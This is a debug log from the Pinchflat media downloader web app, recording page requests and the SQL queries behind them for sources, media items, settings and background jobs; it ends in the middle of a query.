04:52:26.396 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:26.398 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:26.398 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 04:52:26.399 [debug] QUERY OK source="media_items" db=0.7ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:52:26.400 [debug] QUERY OK source="sources" db=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:26.401 [debug] QUERY OK source="media_items" db=0.1ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 04:52:26.401 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:52:26.402 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:26.403 [debug] QUERY OK source="media_items" db=0.5ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 04:52:26.404 [debug] QUERY OK source="media_items" db=0.7ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:52:26.405 [info] Sent 200 in 15ms 04:52:27.072 [info] GET /sources/30/media/141479 04:52:27.072 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 04:52:27.073 [debug] QUERY OK source="media_items" db=0.5ms idle=671.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 04:52:27.075 [debug] QUERY OK source="tasks" db=0.6ms idle=671.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 04:52:27.076 [debug] QUERY OK source="sources" db=1.0ms idle=671.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:27.077 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=672.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 04:52:27.078 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=381.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.078 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.079 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.079 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:27.081 [info] Sent 200 in 8ms 04:52:27.224 [info] GET /sources/30 04:52:27.224 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 04:52:27.226 [debug] QUERY OK source="sources" db=0.4ms idle=148.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:27.227 [debug] QUERY OK source="media_profiles" db=0.5ms idle=148.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:27.229 [debug] QUERY OK source="tasks" db=1.3ms idle=149.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 04:52:27.230 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=150.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 04:52:27.231 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=150.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.231 [debug] QUERY OK source="settings" db=0.2ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.233 [debug] QUERY OK source="settings" db=0.3ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.238 [debug] QUERY OK source="sources" db=0.5ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:27.240 [debug] QUERY OK source="media_items" db=1.9ms idle=8.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 04:52:27.244 [debug] QUERY OK source="media_items" db=2.4ms queue=0.3ms idle=10.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:52:27.245 [debug] QUERY OK source="sources" db=0.4ms idle=13.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:27.246 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=12.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 04:52:27.248 [debug] QUERY OK source="media_items" db=1.5ms idle=9.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:52:27.252 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:27.254 [debug] QUERY OK source="media_items" db=1.4ms idle=8.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 04:52:27.257 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=8.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:52:27.259 [info] Sent 200 in 35ms 04:52:27.394 [info] GET /sources/31/media/141299 04:52:27.394 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 04:52:27.396 [debug] QUERY OK source="media_items" db=0.6ms idle=148.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 04:52:27.397 [debug] QUERY OK source="tasks" db=0.4ms idle=148.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 04:52:27.397 [debug] QUERY OK source="sources" db=0.7ms idle=145.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:27.399 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=144.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 04:52:27.399 [debug] QUERY OK source="settings" db=0.1ms idle=142.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.400 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.400 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.401 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:27.402 [info] Sent 200 in 7ms 04:52:27.799 [info] GET /sources/31/media/141080 04:52:27.799 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 04:52:27.801 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=400.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 04:52:27.802 [debug] QUERY OK source="tasks" db=0.5ms idle=401.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 04:52:27.803 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=401.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", 